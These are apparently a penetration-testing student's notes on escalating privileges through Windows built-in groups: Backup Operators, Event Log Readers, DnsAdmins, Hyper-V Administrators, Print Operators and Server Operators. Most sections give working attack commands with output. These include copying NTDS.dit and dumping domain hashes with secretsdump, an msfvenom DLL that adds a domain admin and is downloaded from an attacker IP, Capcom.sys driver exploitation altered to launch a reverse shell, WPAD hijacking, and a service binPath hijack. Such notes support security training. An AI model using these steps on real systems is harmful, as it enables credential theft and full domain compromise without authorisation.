---
title: "6. Windows Groups"
date: 2025-03-19
draft: false
---

## Built-ins 
https://ss64.com/nt/syntax-security_groups.html
Listing of all built-ins and detailed descriptions of each. 

https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-b--privileged-accounts-and-groups-in-active-directory
Detailed listing of privileged accounts + groups in AD. 

|[Backup Operators](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups#bkmk-backupoperators)|[Event Log Readers](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups#bkmk-eventlogreaders)|[DnsAdmins](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups#bkmk-dnsadmins)|
|[Hyper-V Administrators](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups#bkmk-hypervadministrators)|[Print Operators](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups#bkmk-printoperators)|[Server Operators](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups#bkmk-serveroperators)|


### Backup Operators group
- Allow `SeBackup` and `SeRestore` privileges
Allow us to traverse any folder / list folder contents. We can copy a file from a folder even if there is no ACE (Access Control Entry) in folder's ACLs 
Need to programatically copy data - specify `FILE_FLAG_BACKUP_SEMANTICS` 
https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea

POC to exploit SeBackupPrivilege: https://github.com/giuliano108/SeBackupPrivilege 
```bash
PS C:\htb> Import-Module .\SeBackupPrivilegeUtils.dll
PS C:\htb> Import-Module .\SeBackupPrivilegeCmdLets.dll
```

If disabled, may need to enable with `Set-SeBackupPrivilege` 
Check `whoami /priv` to doublecheck it is enabled. Based on the server's settings, it might be required to spawn an elevated CMD prompt to bypass UAC and have this privilege.


```powershell-session
PS C:\htb> Set-SeBackupPrivilege
PS C:\htb> Get-SeBackupPrivilege
```

```powershell-session
 dir C:\Confidential\
```

```powershell-session
 Copy-FileSeBackupPrivilege 'C:\Confidential\2021 Contract.txt' .\Contract.txt
```


**This group also permits logging in locally to a domain controller.** AD database `NTDS.dit` is very attractive as it contains NTLM hashes for all users and computer objects in the domain 

https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow

Use diskshadow to create shadow copy of C drive and expose it as another drive. NTDS.dit in this shadow drive wont be in use by system and we can inspect it 

```powershell-session
PS C:\htb> diskshadow.exe

Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  DC,  10/14/2020 12:57:52 AM

DISKSHADOW> set verbose on
DISKSHADOW> set metadata C:\Windows\Temp\meta.cab
DISKSHADOW> set context clientaccessible
DISKSHADOW> set context persistent
DISKSHADOW> begin backup
DISKSHADOW> add volume C: alias cdrive
DISKSHADOW> create
DISKSHADOW> expose %cdrive% E:
DISKSHADOW> end backup
DISKSHADOW> exit
```

Copy file and bypass acl to copy locally 
```powershell-session
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
```

We can also backup the SAM/SYSTEM registry hive (exrtract local account credentials offline using secretsdump.py)
```cmd-session
C:\htb> reg save HKLM\SYSTEM SYSTEM.SAV

The operation completed successfully.


C:\htb> reg save HKLM\SAM SAM.SAV

The operation completed successfully.
```

NOTE: if explicit deny entry for our user/group, prevent access - even if FILE_FLAG_BACKUP_SEMANTICS flag is specified. 

**With the NTDS.dit extracted**, we can use a tool such as `secretsdump.py` or the PowerShell `DSInternals` module to extract all Active Directory account credentials. Let's obtain the NTLM hash for just the `administrator` account for the domain using `DSInternals`.
```powershell-session
PS C:\htb> Import-Module .\DSInternals.psd1
PS C:\htb> $key = Get-BootKey -SystemHivePath .\SYSTEM
PS C:\htb> Get-ADDBAccount -DistinguishedName 'CN=administrator,CN=users,DC=inlanefreight,DC=local' -DBPath .\ntds.dit -BootKey $key
```


**NTDS.dit exxtraction with secretsdump.py**
```shell-session
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

Impacket v0.9.23.dev1+20210504.123629.24a0ae6f - Copyright 2020 SecureAuth Corporation

[*] Target system bootKey: 0xc0a9116f907bd37afaaa845cb87d0550
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 85541c20c346e3198a3ae2c09df7f330
[*] Reading and decrypting hashes from ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WINLPE-DC01$:1000:aad3b435b51404eeaad3b435b51404ee:7abf052dcef31f6305f1d4c84dfa7484:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a05824b8c279f2eb31495a012473d129:::
htb-student:1103:aad3b435b51404eeaad3b435b51404ee:2487a01dd672b583415cb52217824bb5:::
svc_backup:1104:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
bob:1105:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
hyperv_adm:1106:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
printsvc:1107:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
```


**Robocopy is another candidate to copy files in backup mode** 
CMDline dir replication tool. Create backup jobs and includes features like multithreaded copying, auto retry, ability to resume copying etc. 
Differs from `copy` - instead of just copying all files, it can check destination dir and remove files no longer in source dir. can also compare files before copying to save time by not copying files that have not changed 


```cmd-session
C:\htb> robocopy /B E:\Windows\NTDS .\ntds ntds.dit

-------------------------------------------------------------------------------
   ROBOCOPY     ::     Robust File Copy for Windows
-------------------------------------------------------------------------------

  Started : Thursday, May 6, 2021 1:11:47 PM
   Source : E:\Windows\NTDS\
     Dest : C:\Tools\ntds\

    Files : ntds.dit

  Options : /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30

------------------------------------------------------------------------------

          New Dir          1    E:\Windows\NTDS\
100%        New File              16.0 m        ntds.dit

------------------------------------------------------------------------------

               Total    Copied   Skipped  Mismatch    FAILED    Extras
    Dirs :         1         1         0         0         0         0
   Files :         1         1         0         0         0         0
   Bytes :   16.00 m   16.00 m         0         0         0         0
   Times :   0:00:00   0:00:00                       0:00:00   0:00:00


   Speed :           356962042 Bytes/sec.
   Speed :           20425.531 MegaBytes/min.
   Ended : Thursday, May 6, 2021 1:11:47 PM
```

![](/img/Pasted image 20250215142642.png)
![](/img/Pasted image 20250215142747.png)

---
## Event Log Readers 
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn579255(v=ws.11)?redirectedfrom=MSDN#event-log-readers
Group info above

https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-process-creation
suppose auditing of process creation events and corresponding commandline values is enabled. 
- saved to event log as `Event ID 4688: A new process has been created` https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4688 

Orgs log cmdline processes to help defenders monitor and ID possible malicious behavior + ID binaries that should not be present 
data shipped to SIEM tool or something like Elasticsearch to give defenders visibility into binaries run on systems in network 
then, flag malicious activity - such as `whoami`, `netstat`, `tasklist` commands being run from a marketing executive's workstation 

https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
- study showing common commands run by attackers after initial access like tasklist, ver, ipconfig, systeminfo etc
- aside from monitoring these commands being run, orgs could take an additional step and restrict execution of specific commands using fine-tuned AppLocker rules 
- on a tight security budget, leveraging builtins from MS can offer great visibility at host level 

Most modern EDRs detect/block but out of reach for many orgs due to budget/personnel constraints 

Admins/members of this `Event Log Readers` group have permission to access this log. Common for giving power users / devs access to perform certain tasks withotu granting them administrative access 
```cmd-session
net localgroup "Event Log Readers"
```

https://download.microsoft.com/download/5/8/9/58911986-D4AD-4695-BF63-F734CD4DF8F2/ws-commands.pdf
- reference guide for windows builtins- including syntax, params, examples 
- many win cmds support passing password as parametyer, if auditing of process command lines is neabled, this sensitive information is captured 
- we can query win events from cmd line using `wevtutil` utility and `Get-WinEvent` PS cmdlet 

```powershell
wevtutil qe Security /rd:true /f:text | Select-String "/user"
```
(can use `/u` and `/p` to specify alternative creds for wevtutil) 

![](/img/Pasted image 20250219235619.png)

**Passing creds to wevtutil**
```cmd
 wevtutil qe Security /rd:true /f:text /r:share01 /u:julie.clay /p:Welcome1 | findstr "/user"
```

for `Get-WinEvent` syntax is below - example filters for process creation events (4688) which contain `/user` in process command line
Note: Searching the `Security` event log with `Get-WInEvent` requires administrator access or permissions adjusted on the registry key `HKLM\System\CurrentControlSet\Services\Eventlog\Security`. Membership in just the `Event Log Readers` group is not sufficient.
```powershell
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} | Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }}
```
can be run with another user using `-Credential` parameter 

Other logs include `Powershell Operational` log https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows?view=powershell-7.1
- sensitive info / creds if script block or module logging is enabled - accessible to underpriv'd users

---

## DnsAdmins Group

Have access to DNS info on network. 
DNS Service runs as `NT Authority/SYSTEM` - Membership in group could be potentially leveraged to escalate privs on a DC or in situation where separate server is acting as DNS server for the domain. 

Builtin `dnscmd` util to specify path of plugin DLL 
- https://adsecurity.org/?p=4064
	- Describes attack that can be performed when DNS is run on a Domain Controller (very common)

- DNS Management performed over RPC
- ServerLevelPluginDll https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dnsp/c9d38538-8827-44e6-aa5e-022a016ed723 
	- Allows us to load custom DLL with zero verification of DLL path - can be done with `dnscmd` from commandline
- When member of DnsAdmins group runs the `dnscmd` command below, `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll` regkey is populated
- When DNS svc restarted, dll in this path is loaded (i.e. network share that DC machine account can access) 
- Attacker can load custom DLL to obtain a revshell or even load tool like mimikatz as a DLL to dump creds. 

**Leveraging DnsAdmins group for privesc**
**Creating malicious DLL to add a user to DA group using msfvenom**

```shell-session
msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll
```

Start python server: `python -m http.server port` 

Download file to target
```powershell
wget "http://your_ip:port/adduser.dll" -outfile "adduser.dll" 
```

Failure condition when loading DLL as non-privileged
```cmd-session
 dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll

DNS Server failed to reset registry property.
    Status = 5 (0x00000005)
Command failed: ERROR_ACCESS_DENIED
```


**Loading malicious DLL as DnsAdmins member**
```bash
Get-ADGroupMember -Identity DnsAdmins
```
(Checking what users are part of the `DnsAdmins` group)

executing the malicious DLL: 
```cmd
dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll

Registry property serverlevelplugindll successfully reset.
Command completed successfully.
```
Sidenote: Must specify FULL PATH to custom DLL or attack will not work properly. 


Only `dnscmd` util can be used by members of `DnsAdmins` group. 
DLL will be loaded next time DNS service is started. DnsAdmins group itself doesn't give permissions to restart DNs service, but this is something sysadmins may permit DNS admins to do. 

With registry setting containing path of our malicious dll configured and payload created, dll will be loaded next time dns service is started. 
After restart, we should be able to run dll - and add user (in our msfvenom payload) or get revshell. Assume current user is named `netadm` 

**Obtain user SID**
```cmd-session
wmic useraccount where name="netadm" get sid

SID
S-1-5-21-669053619-2741956077-1013132368-1109
```

**Check perms on DNS Service**
`sc` cmd used - per this article: 
https://www.winhelponline.com/blog/view-edit-service-permissions-windows/
our user has RPWP perms - which translate to SERVICE_STOP + SERVICE_START perms
```cmd-session
 sc.exe sdshow DNS

D:(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SO)(A;;RPWP;;;S-1-5-21-669053619-2741956077-1013132368-1109)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
```

(This is SDDL syntax)

Stop DNS: `sc stop dns` 
Start: `sc start dns` 

Confirming group membership; 
`net group "Domain Admins" /dom` 

---

**Making configuration changes and stopping/restarting DNS service on a domain controller is VERY DESTRUCTIVE**
- Ensure permissions 
- Can potentially take down DNS for an entire AD env and cause many issues. 
- If client gives perms, we need to be able to cover tracks + clean up after ourselves, or offer client steps on how to revert changes. 

**Confirming regkey** 

```cmd-session
reg query \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters
    GlobalQueryBlockList    REG_MULTI_SZ    wpad\0isatap
    EnableGlobalQueryBlockList    REG_DWORD    0x1
    PreviousLocalHostname    REG_SZ    WINLPE-DC01.INLANEFREIGHT.LOCAL
    Forwarders    REG_MULTI_SZ    1.1.1.1\08.8.8.8
    ForwardingTimeout    REG_DWORD    0x3
    IsSlave    REG_DWORD    0x0
    BootMethod    REG_DWORD    0x3
    AdminConfigured    REG_DWORD    0x1
    ServerLevelPluginDll    REG_SZ    adduser.dll
```

Make sure ServerLevelPlugindll regkey exists. Until custom DLL is removed, cannot start DNS svc again correctly. 

Delete key that points to our custom DLL:
```cmd-session
 reg delete \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters  /v ServerLevelPluginDll

Delete the registry value ServerLevelPluginDll (Yes/No)? Y
The operation completed successfully.
```

Start dns svc again: `sc.exe start dns` 

Check DNS Svc status: 
`sc query dns` 

---

**Mimilib.dll**
http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html
`mimilib.dll` from creator of mimikatz can be leveraged to gain command execution by modifying `kdns.c` file to execute a revshell oneliner/ another cmd of our choosing. 

```c
/*	Benjamin DELPY `gentilkiwi`
	https://blog.gentilkiwi.com
	benjamin@gentilkiwi.com
	Licence : https://creativecommons.org/licenses/by/4.0/
*/
#include "kdns.h"

DWORD WINAPI kdns_DnsPluginInitialize(PLUGIN_ALLOCATOR_FUNCTION pDnsAllocateFunction, PLUGIN_FREE_FUNCTION pDnsFreeFunction)
{
	return ERROR_SUCCESS;
}

DWORD WINAPI kdns_DnsPluginCleanup()
{
	return ERROR_SUCCESS;
}

DWORD WINAPI kdns_DnsPluginQuery(PSTR pszQueryName, WORD wQueryType, PSTR pszRecordOwnerName, PDB_RECORD *ppDnsRecordListHead)
{
	FILE * kdns_logfile;
#pragma warning(push)
#pragma warning(disable:4996)
	if(kdns_logfile = _wfopen(L"kiwidns.log", L"a"))
#pragma warning(pop)
	{
		klog(kdns_logfile, L"%S (%hu)\n", pszQueryName, wQueryType);
		fclose(kdns_logfile);
	    system("ENTER COMMAND HERE");
	}
	return ERROR_SUCCESS;
}
```

---

**Creating WPAD record**
Another `DnsAdmins` group abuse is by creating a WPAD record. Group membership gives us perms to **disable global query block security** (which by default, blocks this kind of attack) https://docs.microsoft.com/en-us/powershell/module/dnsserver/set-dnsserverglobalqueryblocklist?view=windowsserver2019-ps
- WinServ 2008 first introduced ability to add a global query block list on a DNS server. By default, `Web Proxy Automatic Discovery Protocol (WPAD)` an `Intra-site Automatic Tunnel Addressing Protocol (ISATAP)` are on the global query block list. These protocols are quite vulnerable to hijacking + any DC user can create a computer object / DNS record containing those names. 
- After disabling global query blocklist + creating a WPAD record, every machine running WPAD with default settings will have its traffic proxied through our attack machine. 
	- Use `responder` or `inveigh` to perform traffic spoofing + attempt to capture password hashes to crack them offline / try SMBRelay

**Disabling Global Query Block List**
 ```powershell-session
Set-DnsServerGlobalQueryBlockList -Enable $false -ComputerName dc01.inlanefreight.local
```bash

**adding WPAD record**
```powershell-session
Add-DnsServerResourceRecordA -Name wpad -ZoneName inlanefreight.local -ComputerName dc01.inlanefreight.local -IPv4Address 10.10.14.3
```bash

---
## Hyper-V Administrators 
Access to Hyper-V features
If DC is virtualized, then virtualization admins should be considered DomAdms 
- easily create clone of live DC 
- mount virtual disk offline + obtain NTDS.dit / extract NTLM pw hashes for all users in domain 

https://decoder.cloud/2020/01/20/from-hyper-v-admin-to-system/
- blog showcases: 
	- upon deleting virtual machine, `vmms.exe` attempts to restore original file perms on corresponding `.vhdx` file as NT AUTH\SYSTEM - without impersonating the user
	- delete `.vhdx` file + create native hard link to point this file to a protected SYSTEM file - which we have full perms to. 

https://www.tenable.com/cve/CVE-2018-0952
https://www.tenable.com/cve/CVE-2019-0841

If vuln to  [CVE-2018-0952](https://www.tenable.com/cve/CVE-2018-0952) or [CVE-2019-0841](https://www.tenable.com/cve/CVE-2019-0841), able to leverage for SYSTEM privs 
Otherwise, try to take advantage of an application on the server that has installed a service running in context of SYSTEM - startable by unpriv users

An example of this is Firefox - `Mozilla Maintenance Service` 
Update this exploit https://raw.githubusercontent.com/decoder-it/Hyper-V-admin-EOP/master/hyperv-eop.ps1 (poc for NT hard link) to grant our current user full permissions on the file below: 
```shell-session
C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
```bash

Taking ownership of the file - after running powershell script above, we should have full control and can take ownership of it 
```cmd-session
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
```bash

And replace this with a malicious `maintenanceservice.exe`  - start maint svc, and get command execution as SYSTEM. 
`sc.exe start MozillaMaintenance` 

```
This vector has been mitigated by the March 2020 Windows security updates, which changed behavior relating to hard links.
```bash

---
## Print Operators 

Another highly privileged group - granting members `SeLoadDriverPrivilege` 
- manage/create/share/delete printers connected to a DC. 
- ability to logon locally to DC + shut it down 

**If `whoami /priv` doesnt reveal SeLoadDriverPrivilege from unelevated context, need to bypass UAC**
https://github.com/hfiref0x/UACME
`UACMe` repo features comprehensive list of UAC bypasses that are usable from cmdline. 
- Alternatively: From gui, open administrative shell + input creds of the account that is member of Print Operators group. Examining privileges will show `SeLoadDriverPrivilege` is visible, but disabled. 

Well known that `Capcom.sys` contains functionality to allow any user to execute shellcode with **SYSTEM** privs - We can use our priv to load + escalate. 
https://raw.githubusercontent.com/3gstudent/Homework-of-C-Language/master/EnableSeLoadDriverPrivilege.cpp
- Tool to load the driver
- PoC enables privilege + loads driver for us 

Download it locally and edit it, pasting over these include lines
```c
#include <windows.h>
#include <assert.h>
#include <winternl.h>
#include <sddl.h>
#include <stdio.h>
#include "tchar.h"
```bash

From a Vis Studio 2019 dev command prompt, compile using `cl.exe` 
```cmd-session
C:\Users\mrb3n\Desktop\Print Operators>cl /DUNICODE /D_UNICODE EnableSeLoadDriverPrivilege.cpp

Microsoft (R) C/C++ Optimizing Compiler Version 19.28.29913 for x86
Copyright (C) Microsoft Corporation.  All rights reserved.

EnableSeLoadDriverPrivilege.cpp
Microsoft (R) Incremental Linker Version 14.28.29913.0
Copyright (C) Microsoft Corporation.  All rights reserved.

/out:EnableSeLoadDriverPrivilege.exe
EnableSeLoadDriverPrivilege.obj
```bash

Add reference to driver - Download `Capcom.sys` driver here https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys and save it to `C:\temp` 
Add reference to driver under HKEY_CURRENT_USER tree. 

```cmd-session
C:\htb> reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys"

The operation completed successfully.


C:\htb> reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1

The operation completed successfully.
```bash

`\??\` syntax used to reference our malicious driver's ImagePath is an `NT Object Path` 
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-even/c1550f98-a1ce-426a-9991-7509e7c3787c
Win32 API will parse and resolve this path to properly locate and load our malicious driver. 

**Verifying driver status**
http://www.nirsoft.net/utils/driverview.html
```
.\DriverView.exe /stext drivers.txt

cat drivers.txt | Select-String -pattern Capcom
```bash

**Verify priv**
```
EnableSeLoadDriverPrivilege.exe
```bash

At this point we should now see Capcom driver listed

```powershell-session
PS C:\htb> .\DriverView.exe /stext drivers.txt
PS C:\htb> cat drivers.txt | Select-String -pattern Capcom

Driver Name           : Capcom.sys
Filename              : C:\Tools\Capcom.sys
```bash

To exploit `Capcom.sys` driver we can use `ExploitCapcom` tool https://github.com/tandasat/ExploitCapcom 
- Requires compilation with visual studio 

```powershell-session
.\ExploitCapcom.exe

[*] Capcom.sys exploit
[*] Capcom.sys handle was obained as 0000000000000070
[*] Shellcode was placed at 0000024822A50008
[+] Shellcode was executed
[+] Token stealing was successful
[+] The SYSTEM shell was launched
```bash

**THE ABOVE STEPS REQUIRE GUI ACCESS. WITHOUT GUI ACCESS STEPS ARE BELOW**

Must modify `ExploitCapcom.cpp` code before compiling 
- Edit line 292 and replace `C:\\Windows\\system32\\cmd.exe` with a reverse shell binary created with msfvenom 

```c
// Launches a command shell process
static bool LaunchShell()
{
    TCHAR CommandLine[] = TEXT("C:\\Windows\\system32\\cmd.exe");
    PROCESS_INFORMATION ProcessInfo;
    STARTUPINFO StartupInfo = { sizeof(StartupInfo) };
    if (!CreateProcess(CommandLine, CommandLine, nullptr, nullptr, FALSE,
        CREATE_NEW_CONSOLE, nullptr, nullptr, &StartupInfo,
        &ProcessInfo))
    {
        return false;
    }

    CloseHandle(ProcessInfo.hThread);
    CloseHandle(ProcessInfo.hProcess);
    return true;
}
```bash

---> 
```c
 TCHAR CommandLine[] = TEXT("C:\\ProgramData\\revshell.exe");
```bash

- Setup listener, hopefully receive revshell. 
- If this is blocked for some reason, try a bind shell or exec/add user payload. 

**Automating the above steps in one fell swoop**
We can use a tool such as [EoPLoadDriver](https://github.com/TarlogicSecurity/EoPLoadDriver/) to automate the process of enabling the privilege, creating the registry key, and executing `NTLoadDriver` to load the driver.

```cmd-session
.\EoPLoadDriver.exe System\CurrentControlSet\Capcom c:\Tools\Capcom.sys

[+] Enabling SeLoadDriverPrivilege
[+] SeLoadDriverPrivilege Enabled
[+] Loading Driver: \Registry\User\S-1-5-21-454284637-3659702366-2958135535-1103\System\CurrentControlSet\Capcom
NTSTATUS: c000010e, WinError: 0
```bash
We would then run `ExploitCapcom.exe` to pop a SYSTEM shell or run our custom binary.

**Cleanup steps: Remove registry key we added earlier.** 
```cmd-session
reg delete HKCU\System\CurrentControlSet\Capcom
```bash

Note: Since Windows 10 Version 1803, the "SeLoadDriverPrivilege" is not exploitable, as it is no longer possible to include references to registry keys under "HKEY_CURRENT_USER".

---
## Server operators

enables administration of winservs without needing DA
highly priv'd - can login locally to servers, including DC
powerful privileges: `SeBackupPrivilege` + `SeRestorePrivilege`  + ability to control local services

examining AppReadiness service: 
```
sc.exe qc AppReadiness
[...]
SERVICE_START_NAME : LocalSystem
```bash

Can use Service Viewer/ controller `PsService` part of SysInternals suite - to check perms on svc. `PsService` works like `sc` + can display svc status / configs 
- allow start/stop/pause/resume/restart of svcs locally + remotely

```
c:\Tools\PsService.exe security AppReadiness
[...]
        [ALLOW] BUILTIN\Server Operators
                All
```bash

-> can check local admin grp to confirm our target account is not present `net localgroup administrators` 

**Modifying service binary path**
```
sc.exe config AppReadiness binPath= "cmd /c net localgroup Administrators server_adm /add"
[SC] ChangeServiceConfig SUCCESS
```bash

Starting service: 
```
sc.exe start AppReadiness
[...] failed...... service did not respond yada yada
```bash

check `net localgroup administrators` again and our `server_adm` user is in local adm group 

From here we have **full control over DC** + can retrieve all creds from NTDS.dit db / access other systems, perform post-exploit 

```shell-session
crackmapexec smb 10.129.43.9 -u server_adm -p 'HTB_@cademy_stdnt!'
secretsdump.py server_adm@10.129.43.9 -just-dc-user administrator
```bash
